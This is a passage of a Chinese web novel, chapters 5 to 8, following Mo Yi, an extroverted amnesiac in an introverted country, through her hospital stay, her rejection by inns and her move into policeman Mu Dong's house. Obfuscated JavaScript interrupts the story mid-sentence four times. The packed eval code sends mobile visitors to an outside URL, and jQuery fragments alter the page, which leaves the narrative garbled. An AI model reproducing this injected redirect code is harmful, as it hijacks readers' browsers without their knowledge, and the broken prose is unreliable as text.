可惜已经晚了,她一踏上光滑的冰面,身体不可遏制地向后倾倒,手中的咖啡再也握不住,算不上滚烫,但也是热乎的咖啡向前泼洒出一道美丽的弧线,倒了局长一脸,而她随着咣当的一声,摔得四脚朝天,实打实地和冰面来了个近距离接触。 “血、血、血……”警员惊慌失措地叫道,只见刺目的红慢慢浸染着她后脑的冰面,虽然只有少许,但由于出血位置十分脆弱且重要,众人不得不优先将她送去医院,将出警的事交给了别的同事。 5. 医院 默熠睁开眼时,只觉后脑又麻又痛,四肢反应缓慢。她的头已经被纱布包裹了起来,极不适应,就像猫戴上了伊丽莎白圈,她觉得浑身难受,想挣脱头上裹着的束缚,但好在她还有理智,不至于昏了头不配合治疗。 江雪进来查房,看到她醒了很是欣慰,“谢天谢地,你总算又捡回一条命。”她戴着白口罩看不清表情,但这样的语气让人觉得她可能在笑。 “又见面了,见到你真好。”默熠感慨,但嘴上也被缠了纱布,说话不那么方便。她想这次包扎兴许换了别的护士,手法不一样,所以才会让纱布从嘴巴这里绕过去,“我还是觉得你包扎的舒服一些。” 江雪汗颜,其实这次也是她包扎的,但护士长特意吩咐了要这么包扎,好让她少说些话,江雪觉得解释起来令人尴尬,所以选择了沉默。 “那得是在医院之外的地方见到我才好。”她言语之中透着责备,“以后可得爱惜身体,要注意地上有没有结冰,小心雪天地上滑。” “我知道了,我会注意的。”默熠答应得乖巧。 “下次不可以到处乱跑了,我今天找你把医院都翻过来了,差点就报警了。” “抱歉抱歉,我是想办个身份证明就回来吃药的,没想到出了点意外,耽误了一天。”默熠苦笑。 “怎么忽然想去办身份证明呢?” “你不是说我快可以出院了吗?我就想先办一个证明,你之前说过,像我这种情况可以申请补助金,但是要有身份证明、联系方式和银行账户,我就想在出院前都办好。而且最近为了市容建设,公共设施都在装修,救济所也因为装修暂停了居住申请,我要是出院了还得在另找房子住。”默熠难得叹气。 她的压力确实大,江雪安慰道:“你先好好休息,养病心情要好,身体才恢复得快。” 身边有熟悉的人让她感到安心,江雪是这个医院唯一一个愿意和自己说话的人,也是和自己相处的最久的人。 “我有名字了,我的名字是默熠,沉默的默,熠熠发光的熠。”她在讲自己的名字时,江雪真的从她眼睛里看到了光。 不过江雪怀疑是灯光的原因,便抬头看了一眼灯,确实是因为灯光,但说实话默熠确实很闪耀,她的气质是外放的,没有人可以忽视她。她就像一千只黑猫里的三花,能让人一眼看到。 “这名字很适合你。”江雪评价道,人如其名。 “我们是朋友吗?”默熠想要确认这个问题,因为穆冬警官说她们的关系还没到朋友,可是她们怎么可能不是朋友呢,一定是他搞错了。 “现在还不算。”江雪郑重道,“现在我们的关系仅仅是护士和病人。” 默熠默默伸出手,像是在撑什么东西。 “你在干什么?”江雪问。 “我的天塌了,让我撑一下。”即便心情很失落,但她还保持着一定的幽默。 “时间还长嘛,说不定以后就是朋友了。”江雪在单子上做完记录,“我去查房了,你好好休息。” 因为受伤的是头部,默熠要静养,只能躺在床上看会儿电视剧,窗外的雪落了一夜,到早上才歇下来。 这一夜,穆冬睡得很不好。 盛夏,阳光强烈,将路边来往的豪车照得闪闪发亮。 穆冬在众多人中迅速锁定嫌疑人,悄悄跟着,一直跟到首都酒店。 按照情报,他就是布莱克胶囊的幕后金主怀特先生。布莱克胶囊是一款未经批准上市的社交障碍干预药物,声称可以让外向的人内向,让内向的人外向。但布莱克胶囊副作用很大,它的幕后金主没达到药物安全标准就私自进行售卖。 他和嫌疑人一起进了电梯,嫌疑人按下8楼,他按了10楼。 电梯金碧辉煌,带着强烈的上个世纪的复古风格,二人的身影清晰地映照在电梯内壁。 空气中洋溢着昂贵的铃兰花香水味儿,这款价比黄金的香水,在这里只不过被用做普通香氛。 在电梯打开的一瞬间,嫌疑人忽然开口,“怀特先生要我带句话给你,你们永远都见不到他。” 说罢从腰后摸出一把黑色手枪,若非穆冬闪躲及时,早就身首异处。 他冲出电梯,二人扭打在走廊上,萨克斯吹奏着上个世纪的抒情歌曲,手枪被踢到花瓶旁边,新鲜的白绣球开得正盛。 对方不是怀特,要想对布莱克胶囊的调查有所突破,只能从他这里得到情报,因此穆冬不敢下死手,但对方没有这方面的顾虑,招招致命,穆冬落于下风。 匕首尖紧紧贴着穆冬额头,只差一点点就能像扎豆腐一样,切碎他的头颅。 他左手手臂流着血,拼命扼住对方的手腕,额头青筋暴起,使出全力将匕首别开,好在只是挑断了一点儿眉毛。 打斗之中,二人将半人高的大白瓷花瓶碰到在地,纯白的瓷片和纯白的花瓣交织在一起,让人一时间分不清花和瓷。 他们都被瓷片扎伤,殷红的血顺着花瓶里的水,被地上金银线相织的地毯吸干。 他这边出了事,支援在来的路上。 当电梯再一次在八楼停下,支援人员听到“怦”的一声枪响…… 穆冬从梦中惊醒,那一枪差点要了他的命,要不是当时嫌疑人的手臂被瓷片划伤,枪拿的不稳,子弹不会偏离心脏。 算算时间,明天是复查的日子。 在默熠看剧的时候,医院迎来了小规模装修,但本次装修范围不涉及住院部,所以她并不知道。各个科室的门牌和桌椅都更换了,后续还会重新粉刷外墙,而电脑和系统则要等到明年夏天才能全部迭代。 剧情看的她火大,她真讨厌反派,反派害得女主家破人亡,还污蔑女主,让女主被打了三十大板。 她在病房呆不住,想方设法地溜出病房透气。 以前她都是在医院后面的花园散步,还没转过前面的大厅,她没有什么忌讳,跟逛商场一样在医院里闲逛。看到大厅的轮椅可以免费用,她还坐起了轮椅。 就这么漫无目的地逛着,来到了生、殖医学科,不想在这里看到了一个熟悉的身影。 穆冬! 他怎么会在这儿? 不会是…… 不是吧,年纪轻轻的,真可怜。 在生、殖科外等候就诊的穆冬并不知道自己被人用同情的目光窥伺着,他被叫到号时很自然地起身进去,也看不出脸上是什么表情。 默熠真想上去安慰他,但是她克制住了自己,在这种情况下和他见面,对方会感到难堪。她躲在不远处的柱子后面,声音低沉道:“没事儿,你想哭就哭吧。”她对故作坚强的穆警官感到心酸。 穆冬将之前的病例交给医生,医生让他把衣服脱了检查一下伤口,受伤的位置距离心脏仅有几厘米,现在在胸膛上留下一个小小的白色疤痕。 医生的白大褂外面别着铭牌“胸外科医生”,装修的工人把科室的牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326506|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子弄错了,今天下午才会统一重装。 默熠自己推着轮椅折回到大厅,她不敢找人聊天,她没有主动发起对话的资格,以前自己一无所知的时候还总找护士姐姐们说话,现在想想还好她们没跟自己计较,都没有去警局投诉自己。 “她怎么又受伤了?” “我可是每天都在祈祷她能快点好起来出院的。” 护士在背地里议论默熠,这话听的她感动,世上还是好人多啊。 “我记得你伤到的是头,怎么脚也受伤了?”身旁忽然传来穆冬的声音。 “呃啊……”默熠犹豫后猛然点头,这样也许就不用去扫雪了。 “我腿摔了。”默熠一边演,一边观察穆冬的表情,“很严重的那种,干不了重活。” “你在这里等我,我去跟医生核实一下。”穆冬不急不慢应道。 “诶诶诶……”默熠赶紧叫住他,“我错了,穆警官,我腿没受伤。” 她坦白的倒是很快。 “腿好好的,坐轮椅干嘛?”他双手抱胸,加上那张冷漠的脸,严肃地堪比高中班主任。即便他说话的时候没有看她,默熠也倍感压力。 “我这不是没坐过吗。”默熠笑道。 这脑回路,也不忌讳,“不要浪费医疗资源。”穆冬说。 “是是是,您说的对。”默熠马上站起来,把轮椅放了回去,态度端正。 “什么时候能出院?”他问。 “医生说至少半个月。”默熠不敢耍心眼子,如实回答,心里祈求他不要让她一出院就去做社区服务。 “行,出院后就来警局报道,我安排你扫雪。”他淡淡道。 默熠悬着的心就这么死了,“不要啊,青天大老爷。”她一边哭喊,一边跪下来。 这行为立刻引来医院大厅所有人的目光,护士、医生、病人、保安…… 虽然大家在五秒内把目光撤了回去,但不影响穆冬社死,他一张脸红的滴血。 “你干什么,快起来。”穆冬扯开她抓自己衣角的手,后退两步,保持安全社交距离。 默熠双手空空,没了可以抓握的东西,匍匐在地,又哭道:“青天大老爷,我冤枉啊。” 这一行为再次吸引了所有人至少三秒的目光。 短短两分钟,穆冬社死两次,恍若隔世。 “你到底想干嘛?”穆冬又退后一米,双手做防御状,挡在前面。 “青天大老爷,我苦啊。”默熠跪爬了过来,在穆冬眼里恐怖片里的女鬼都不及这可怕。 他退她追,直到他退无可退,全身贴在墙上,“我警告你,保持安全社交距离。” 默熠默默退回去一点儿。 她每一个动作都出乎人意料,穆冬已经数不清自己社死多少次了。 “你到底想干嘛?”他咬牙切齿道。 “我想让你宽限几天,我找好房子再来扫雪,我一出院就没地方住了。”默熠委屈。 “那你好好说不就行了。”这种事用得着这么夸张吗?穆冬内心崩溃。 “我看电视剧都是这么演的。”默熠一脸无辜。 “你下次看现代剧吧。” “好的,青天大老爷。”默熠回答的掷地有声。 “不要叫我青天大老爷,叫我穆警官就行了。”穆冬尴尬地想找条缝钻进去。 “好的,穆警官。”默熠很有精神,声音响亮回荡在整个医院大厅…… 6. 出院 “请输入密码。”银行的自主操作设备上跳出这个界面。 而默熠的脑海中忽然跳出一串数字,“526”,她觉得这串数字很熟悉,但想不起来具体有什么意义,难道是自己的生日? 虽然暂时想不起来,但却觉得是个重要的东西,于是干脆拿来当密码“526526”,她输入信息,办理好了自己的银行卡。 她身上只有少量现金,还是以前她口袋里的,满打满算不超过400块,且置办手机和充话费就花了大半。 手机是黑色的老式手机,只能应付一下日常生活,只有打电话,接收短信和发邮件这类基础功能。 她成天都盯着这个小小的屏幕发呆,希望自己能收到救济金到账的短信,可她的救济金却迟迟下不来,而出院的日子又在一天天逼近,这个季节流落街头是要被冻死的。 明天她就要出院,一出院就会风餐露宿,而内向国医疗免费,她不得不产生了一个大胆的想法。 “今天感觉怎么样?”江雪例行查房。 “头疼。”为了能在医院多蹭些日子,默熠只好假装身体不适,她的表演略显浮夸,她扶着额头,捏着嗓子,一副非常痛苦的模样。 病房内就只有她们两个人,电视还开着,她听从穆冬的建议开始看现代剧,于是找出了这部二十多年前的偶像剧《热恋之夏》。 “你的伤不是在后脑勺吗?”然而江雪这样问,她的语气非常礼貌,要换旁人可能会尴尬,但是默熠迅速调整好心态,接着演了下去。 “额头和后脑勺都疼。”默熠眼泪汪汪地看着江雪,委屈巴巴的,只是江雪压根儿就不怎么看她正脸的表情,一门心思在她后脑勺的伤口上。 “你这痊愈地不错啊,伤口好了,头发都长了些出来。难不成还有淤血?”江雪疑惑地做着记录。 “具体是哪种疼?晕吗?”江雪对待工作的态度非常认真,这让默熠生出几分羞耻之心,但事已至此,她也没有办法,只好硬着头皮捏造病情。 “疼,钻心窝子的疼,疼到天崩地裂,海枯石烂,啊不是,是疼得翻江倒海……”她极力夸大自己的症状,生怕自己出了院,但严重的病情给江雪这个新手护士吓得一愣一愣的。 “这么严重怎么不早说。”江雪急道,“走,现在就去找简主任。” 简主任是安静市乃至内向国最有名的脑科医生之一。 “你平时不是挺外向的吗?这次怎么病得这么重都不跟我说。”江雪还特意给她弄了一辆轮椅,推着她去医生办公室。 然而她越是关心自己,默熠心里就越是愧疚,“其实也没多严重,你不用担心我。”她心虚道。 “你不要怕,你有什么症状都可以跟简主任说,他可以说是这个领域最权威的人士。你还没怎么见过他吧,他太忙了,当初他可是在手术室里花了三天才把你抢救过来的。”江雪说,她的脚步越来越快,心里各种着急。 默熠头一回知道这个事,“我居然还没见过我的救命恩人。” “脑科”,“简平安”几个字在门口的介绍牌上十分显眼,牌子是新装的,但是保留了以前的朴素风格。 “咚咚”,江雪礼貌地敲了敲门,随着办公室的门被缓缓推开,默熠看见屋子里端坐着一个年轻男子,二十五六的年纪,穿着一件简单的黑白格子衬衫。 他五官生的精致,戴着一副银边框眼镜,鼻梁很高,听到有人进来,他只抬眼看了一眼,视线便马上又回到了电脑屏幕上,双手灵活地敲打着老旧的键盘,专注地工作。 虽然清俊,但气质高冷,眼神没有任何温度,仿佛什么都不放在眼里似的。 比《热恋之夏》的男主帅,这是默熠对简主任的第一印象。 “简主任,这位患者情况不太好。”江雪开口说,却是对着从卫生间出来的一个中年男人说的,男人穿着白大褂,有一头“深受患者信赖”的地中海发型,面容和蔼,眼神慈祥。 “她怎么了?”简主任立刻严肃起来,走到办公桌旁要开始诊断病情。 “电脑给你修好了。”年轻男人起身,依旧没有什么表情。 “谢谢小叔。”简主任弯腰,露出一个憨厚的微笑。 “不客气,记得奶奶生日要回家吃饭。”简松拿起椅背上的外套走了。 “好好。”简主任应道,一坐下来就开始问诊。 默熠还没从这巨大的转变中反应过来,勉强应付了几句,浑身紧张,在真正的专家面前,她恐怕装不过三个回合。 简主任问了好些问题,默熠都回答地磕磕绊绊,然而不知道从什么时候起简主任却一直顺着她的话说。 “这个症状对得上,那你是不是还很头晕恶心,很想吐啊。”简主任语气严肃,不时点点鼠标,时不时再皱个眉,好像她的“病情”不容乐观。 “好像……有点儿……”默熠也只能心虚地应下去。 “啧”,简主任惋惜地叹了口气,“你这个情况只能动手术了,得把你的脑子切开看看。” “啊!啊啊!”默熠震惊道,“那个……不用先拍个片子看看嘛,或者抽个血检查一下什么的。” “你的片子我这里都有,从我多年的经验来看,只能先开刀看看,正好我今天有空,一会儿做手术吧,只是这个手术风险有点儿大,有一定死亡概率。” “不是……那个……我……我……”默熠着急,但又不好说明原因。 “小江,愣着干嘛,还不推出去准备做手术。”简主任说。 当江雪过来推她的一瞬间,默熠立刻从轮椅上跳了起来,“别别别,其实我……我没病,我装的,我错了……”她哭嚎着扒在办公桌上。 这时,简主任才把电脑屏幕转过来给她看,他正在玩消消乐。 “这就奇怪了,大家都想早点康复出院,你为什么还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326507|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装病呆在医院呢?”简主任这时的语气轻柔,很有亲和力。 “对不起。”默熠羞愧地向江雪道歉,江雪可是真心实意关心自己的人。 “我的救济金还没下来,出院没地方住。”默熠说出自己的难处,小心翼翼地望向江雪,她捏紧了自己的衣角,等待着江雪的怒火。 然而江雪没有默熠想象中的那么生气,她反而放松似地松了一口气,庆幸道:“还好你是装的,就你说的那个症状,真吓人。” “有困难说出来大家一起解决嘛,以后不要装病了。不要浪费医疗资源。”简主任退出消消乐界面。 “你不介意的话,我给你发个募捐怎么样?”简主任说,他第一个给默熠捐了钱,不少医护人员一听是她都赶紧捐了款,希望她顺利出院,还自发地给她送了不少东西。衣服、鞋子、被子……一应俱全,甚至还有医院废弃不用的处方筏,简主任还给了她一只巨大的行李箱,白色的行李箱上面印着“安静市脑部健康医院”,这是去年医院团建的时候发的,主任一直放在科室,忘拿回去了,反正放着也是放着,干脆送给她。 “祝你永远健康,不要来医院。”这些礼物上还附的有小贺卡。 看看,多么美好的祝福。 大家真是太热心了。 “我能痊愈出院,多亏了大家的照顾和努力,非常感谢你们,我会想你们的。”默熠说着,声泪俱下,依依不舍。 有些患者和其他科室的人被吸引,不知不觉围了一群人看热闹。 一些医务人员被她的情绪感染,内心某处地方渐渐柔软,其实她也没有那么讨厌了,只是比一般人外向。 “我会经常回来看你们的。”默熠向全体医护人员道别。 众人才被感动的心瞬间石化,面如土色,内向咆哮道:“不要啊。” 这还没完,默熠拿出一长串名单,挨个感谢脑科、急救科的医护人员。 “以下姓名是按字母排的,排名不分先后,有些人没来,请你们帮我转达谢意。” 众人纷纷扣紧了脚趾,批评的话固然让人不好意思,赞扬感激的话却也让人害羞,大家都很内向,谁也不想在众人面前展露风头。 “安静,艾默,白一成……”就像阎王点生死簿一样。 有些人尴尬地跑了,那还是好的。 有的人尬地僵在原地,动弹不得,只能默默迎来命运的审判。 “简平安主任。”默熠专门停顿了一下,“我要特别感谢您,感谢你精湛的医术,要不是你妙手回春……” “主任,主任……”护士惊叫。 默熠感恩的话还没说完,主任就晕过去了。 “他怎么了?”默熠关心道。 “主任社死了……”江雪惊恐道。 来医院接侄子回家吃饭的简松在旁边目睹了一切,虽然社死的是侄子,但简松还是感同身受地尬的难以动弹…… 7. 崩溃 默熠拉着简主任送的行李箱走在街上,行李箱上印的字一路上吸引了不少目光,但她并不在意,她要在太阳下山前找到住的地方。 但是找了一下午她得到的都是一句“不好意思,已经没有房间了”。 最近安静市有什么大型活动吗?怎么一个能住的地方都没有,默熠纳闷,偏偏她现在上不了网,对最新的消息一点儿也不了解。 临近中午,她饿的不行,路过一家甜品店,甜品店的橱窗上贴着两则招聘信息,“诚聘专业面包师,须能熟练制做各类面包……”,“诚聘甜点师(学徒亦可),须对甜品、美食有兴趣……” 然而默熠的眼光掠过了这两则招聘信息,直直地看着橱窗里的蛋糕,巧克力蓝莓蛋糕、奶油草莓蛋糕、抹茶青提蛋糕……好漂亮的蛋糕,再看一眼价格,好贵,她现在虽然有一笔钱,但是她没有工作,还没有找到能住的固定住所,得省着用。 虽然买不起,但是可以免费试吃,默熠没有任何犹豫,拖着行李箱就进去了。 她心满意足地把蛋糕试吃了一个遍,但她没想到店长会发来通话邀请。 她向来不会拒绝和别人沟通的机会,当即点头表示同意。 店主是个高个子男生,年纪轻,皮肤白,眼神清澈,身上有清新的柠檬香。他不戴帽子也不戴口罩,只戴了一个防飞沫透明面罩。他不笑,但自带微笑唇,看着很和善,还很有文艺气息。 他好像很喜欢柠檬,不仅自己身上有柠檬味,招牌甜品是柠檬巴巴露亚,最近推出的饮品都是柠檬茶。 默熠遵守社交法则,只看了他一眼,就将视线收回。 “有合适的口味的吗?”店长谭淳在备忘录上打字给默熠看。 “都很好吃,我都很喜欢,但是现在我买不起。”默熠非常坦诚,直白地让对方愣了几秒。 “不过我可以买这个。”默熠看到靠近收银台位置的临期面包,折扣优惠很大,她欢欢喜喜地挑了几个大的。店长贴心给她切好,默熠迫不及待地吃起来。 谭淳一早就注意到了她的行李箱,又见她如此外向,“恕我冒昧,你是社牛吗?” “不冒昧,不冒昧。”默熠摆手,她不把这种事放在心上,坦言道:“医生是这么说我的。” “我有一个涉及到你隐私的问题,如果你感到冒犯我很抱歉,你可以不必回答。”谭淳非常礼貌。 “不用那么麻烦,你想问什么问就是了。”默熠狼吞虎咽地吃着面包。 “你才出院吗?” “今天中午才出院。”默熠吃完一个面包,毫不吝惜赞美,“好吃,这是我出院过后吃到的最好吃的东西。” 这句话从时间上来看没有说服力,但她的表情和语气很有说服力。 “我不能多聊了,我还要找地方住,对了,最近是有什么活动吗?为什么我找旅馆都没有房间。” 谭淳摇摇头,“不是没有房间,他们应该是不想给你住。” “为什么?”默熠不解道。 “这里对外向的人……”谭淳没有细说,但他的欲言又止足以说明后面不是好话。 “不是吧,我现在可遵纪守法了。”默熠半信半疑,现在是下午四点半,但天已经雾蒙蒙的,快黑了,她抓紧时间跟店长告别,希望能快点找到落脚的地方。 走前她特意记了一下这家物美价廉的店的名字“风暴眼甜品店”。 再次去到一间小旅馆,默熠主动开口要一间单人间,按照《社交安全保护条例》,她和旅馆工作人员是顾客和服务人员的关系,不算毫无瓜葛的陌生人,因此作为顾客她可以跳过通话邀请直接沟通,但也只能聊和服务有关的事。 如果她想要聊别的,碍于她是限制社交行为能力人,只能等对方发起通话邀请。 “不好意思,没有房间了。” 等来的是和前面那些旅馆一样的回复,默熠又想起甜品店店长说的话,不死心道:“你可以再看看吗?真的一间也没有吗?双人间呢?” 默熠看着对方低头玩手机,连查都没有查,就回复她:“没有,一间也没有。” “可是你都没有看。”默熠委屈道。 这次前台干脆直接不回复她,甜品店店长的话似乎已经坐实,默熠不再自讨没趣,拉着行李箱往外走,迎面遇到一个也是来这里住宿的人。 她便不自觉停下脚步,看着那人顺利地办好了手续住宿,没有预定,和她一样,是临时来这里问有没有房间的,但是两个人的待遇却截然不同。 她再也忍不住,冲上前去理论,“为什么她可以住,我不可以?” 前台还是冷暴力,不回答她的问题,甚至直接走掉。 默熠本来想去抓住她的手,不让她走。但一想到《社交安全保护条例》,为了不增加社区服务时长,只好作罢,她只能不停地质问对方为什么要区别对待。 她一直在大厅嚷嚷,即便没有人理她,期间有人想进来住宿,但因为不想惹麻烦,也扭头去了其他地方。 这种情况下,旅馆经理不得不出来和她交涉。 在同意对方的通话邀请后,默熠就听见对方的责怪,“小姐你不要这样找麻烦好吧,你再这样闹下去我们就要报警了。你这种情况,我建议你还是回到医院进行封闭治疗。” 经理开口就把事情的责任全都推到她身上,仿佛她是那个挑事的人。 “明明是你们区别对待不让我住,别说的好像是我的问题。还有,你凭什么看到这个箱子就觉得我是社牛,我就不能是医生吗?”默熠不满道,她受够了。 经理愣了一下,“你是医生?” “不是。”默熠理直气壮道,然后她就被保安赶了出来。 “你们太过分了。”自从在医院醒来后,她还没有这么受过委屈。 她就这么萎靡不振地拉着行李箱来到了雪街警局。 要进去还要跨六七级台阶,行李箱太大,她不便携带,况且这是警局门口,再是有小偷,也不至于在这里作案,便把行李留在了外面,自己先进去了。 一进去就撞见了穆冬。 “你今天下午也要扫雪吗?”穆冬问。 “穆警官。”默熠一下就哭出来了,她真的很想叫一句“青天大老爷”。 她的哭嚎声回荡在整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326508|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大厅,警局里的同事不由得停住脚步,往这边看,当他们的视线落到穆冬身上时,穆冬幻视在医院社死的那一幕,全身的鸡皮疙瘩都起来了。 “有话好好说,别跪下来,我求你了。”他身手敏捷,趁默熠还没跪下来就扶住了她。 “我心里苦啊。”默熠哭的稀里哗啦。 穆冬觉得自己心里也苦极了。 这时局长走了过来,“这是怎么了?” 但局长很快就会后悔自己过来的决定。 “青天大老爷,我苦啊。”默熠扑到地上,局长又没说过不能叫他青天大老爷。 大厅里,每一个人的目光都落到局长身上,局长觉得自己浑身的汗毛都竖起来了。 只有穆冬松了一口气,在局长的衬托下,他可算没那么显眼了。 “你你你……你有事说事,你到底要干嘛?”局长和默熠还不熟,不敢把她搀扶起来,因为这势必会有肢体接触,这是违背《社交安全保护条例》的。 局长求助地看了穆冬一眼,想让他把人拉起来,而内向国人一般不看人脸,所以穆冬没有看到局长求助的眼神,且有了局长垫背,穆冬心安理得地躲得远远的。 “青天大老爷。”默熠情绪激动。 “别叫我青天大老爷。”局长尴尬的脚趾扣紧,“叫我陈警官。” “好的,陈警官,。” “你先起来,小穆,你快点把人扶起来啊。”局长还没有过这么崩溃的时刻。 默熠被带到了单独的房间讲述自己被区别对待的经历,她把去过的旅馆列成一张清单,用的是医院从前开药的处方筏。 做完笔录后,穆冬给她建议让她把行李箱先留在警局,找到住的地方后再把行李箱搬过去,但默熠拒绝了,她觉得这样是对区别对待的“妥协”。 从警局出来天已经完全黑了,还下了雪,默熠又碰了几次壁,雪越下越大,她憋了一肚子委屈无人倾诉。 桥上的人行道开始积雪,她拉行李箱的手冻得通红。 “妈妈,外面好冷啊。” “一会儿就回家了,回家就不冷了。” 这对路人母女的对话让默熠再也压抑不住内心的情绪,崩溃地靠在栏杆边大哭。她好想家,虽然不知道父母是什么样的,但好想他们,如果有他们在,自己应该不会沦落到这种地步。 她没有成年人的物质基础,只能像个未断奶的婴儿,寄希望于父母。 默熠站在桥上眺望远方,天空熄灭了所有光源,黑的深不见底。 桥边只有两站高大的路灯照明,下面是一条结冰的小河,冬季是枯水季,小河流量不大,水平面比夏日矮上好几米。 冷风刮着脖子,冷的人身体畏缩,默熠拍拍头上的雪,赶紧戴上了羽绒服自带的帽子。 行李箱上“安静市脑部健康医院”几个字被灯光照的白惨惨的。 默熠心情惆怅,难过地咬着面包。 难过着,眼泪哗啦,便用手背去擦泪,还没吃掉的半块面包就这么掉了下去,默熠倾出身子,也没够到。 正感叹屋漏偏逢连夜,她忽然被人架住…… 8. 强迫症 “别想不开啊,生活还是很美好的。”穆冬把人拖着离开了桥边。 “我,没想不开啊。”默熠懵了。 “那你刚刚是在干什么?”穆冬也有点儿懵,看她眼睛都哭红了,很难不让人觉得她是在嘴硬。 “我面包掉了。” “以后吃东西离桥边远点吧,危险。”穆冬松开了她。 “谢谢你关心我。”默熠脸上闪着微笑,“不过你不用担心,我不会寻死的,我的命可是简主任抢救了三天才保住的。” “天都这么黑了,你还在外面,赶紧去住酒店吧。” 默熠不语,只是低着头,她的沉默回答了一切。 “那你打算接下来怎么办?今晚睡哪儿?”穆冬仍冷着脸,仿佛他只有这一个表情。 “我想回医院蹭一晚上暖气,外面太冷了。” “现在是晚上十点,公交车和地铁都停运了,你只能打车过去,打车费都够你住一晚上旅馆了,如果你要省钱走过去,要几个小时,明天一大早你还要从医院到警局扫雪,你今天晚上能睡多久?” 默熠沉默了一会儿,觉得穆冬条理非常清晰。 “所以你的意思是……”默熠遵守法则,不看他的脸,看着积雪的地面,“我应该直接睡到警局。” “天才,真是天才般的设想。”她竖起大拇指,真心觉得这个猜测很有智慧。 穆冬又一次失去了表情管理,眉毛痛苦地拧在一起,她的理解能力为何可以如此抽象。 “我的意思是如果你不介意今晚你住我家。”穆冬淡淡道。 “谢谢你啊,不过我一时半会儿找不到房子,就这么一两天的,就不麻烦你了,我还是睡警局吧。” “一个月,你可以住我那儿一个月,你找工作一个月总够了吧。”穆冬慷慨道。 幸运之神就这么降临到了她身上,默熠高兴地捂住嘴巴,她感动地握住穆冬的手,“谢谢你啊,穆警官,你人真好。” 穆冬略带嫌弃地把手抽回来,“说话就好好说话,不要动手动脚,也不要嬉皮笑脸。虽然已经见过很多次面,但我希望你还是和我保持安全社交距离。还有,我没跟你说话的时候,你不能跟我说话。” 默熠连连点头,毕竟是他的房子,乖巧地跟在后面拎着行李上了他的车。 车内没有任何车饰,一切东西都刚刚好,没有多余的东西。 穆冬的家在一处高级住宅区,房子外面和其他建筑差不多。内向国人一向不喜欢在人前表现自己,因此所有建筑最多姿多彩的地方都在屋内,衣着也是如此,哪怕里面穿的再花哨,外面也是经典的黑白灰外套。 默熠还挺好奇穆冬家里是什么样的。 穆冬自己用指纹开了门,他给了默熠一把钥匙,再递给她一双新的拖鞋,本来那是给姐姐准备的。 屋子里有暖气,默熠便摘掉了帽子。 屋内十分干净整洁,连电器间的线都被打理得整整齐齐,没有一丝凌乱,不过整体装修风格很冷淡,基本都是白色,就是有少量的其他颜色也是黑色。默熠不免失望,这竟然是个表里如一的房子。 “你住那间客房。”穆冬指了指一楼里面的一间屋子,窗对着后院花园,那也是他收拾出来给姐姐住的。 屋子里面床已铺好,被套是新罩的,前几天出太阳还专门晒过,暖暖的很蓬松。 “早点休息。”穆冬冷冷道,他始终表情严肃。 “谢谢穆警官,我以后一定会感谢你的。”默熠郑重道。 “那倒不用,你好好做完社区服务我就谢天谢地了。”穆冬说的是真心话,“以后你都自己去警局,不要让人知道我们住在一起,我不想让人误会。” 默熠点头。 “还有一点,你不要上二楼,二楼是我的。”穆冬不喜欢别人打扰他的生活,要不是她的情况实在困难,又怕她出事,他是不想和她待在一起的。 默熠无条件接受一切条件,她打量着屋子,目光被壁炉上面的吉他吸引。 不知道为什么,就是很喜欢吉他,她看了看自己的手指,发现还有薄薄的茧,难不成自己以前是搞音乐的? 默熠把这一感想写到了日记里,她有睡前写日记的习惯,在医院住院的时候江雪还专门找了一个本子给她写日记。 “10月15日,天气下雪……人不可貌相,没想到穆警官看着凶巴巴的,还挺好心的。虽然今天遇到了很多不好的人,但也遇到了很好的人,是幸运更多的一天,明天上午先去铲雪,下午开始找工作。” 翌日,默熠穿着睡衣去卫生间洗漱,她的衣服都是医院的护士们给她的,因此睡衣的衣服和裤子并不成套,上衣是一件纯棉的蓝白拼色短袖,裤子则是一条橙红色长裤,怎么看怎么都不搭。 她洗漱完后就看到穆冬下来,他已经换上了警服,而默熠几乎是下意识地和他道了早安。 穆冬面露难色,又提醒了一遍,“我没和你说话的时候不要和我说话。” “对不起,对不起。”默熠连连道歉,“不好意思,我忘记了。” 穆冬去厨房给自己做了一份三明治,默熠则默默拿出昨晚上买的面包,虽然穆冬没有明说,但看上去,他完全不想和自己有什么交集,连吃饭都是分开的。 自己很招人讨厌吗?默熠心里有一丝难过。 不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 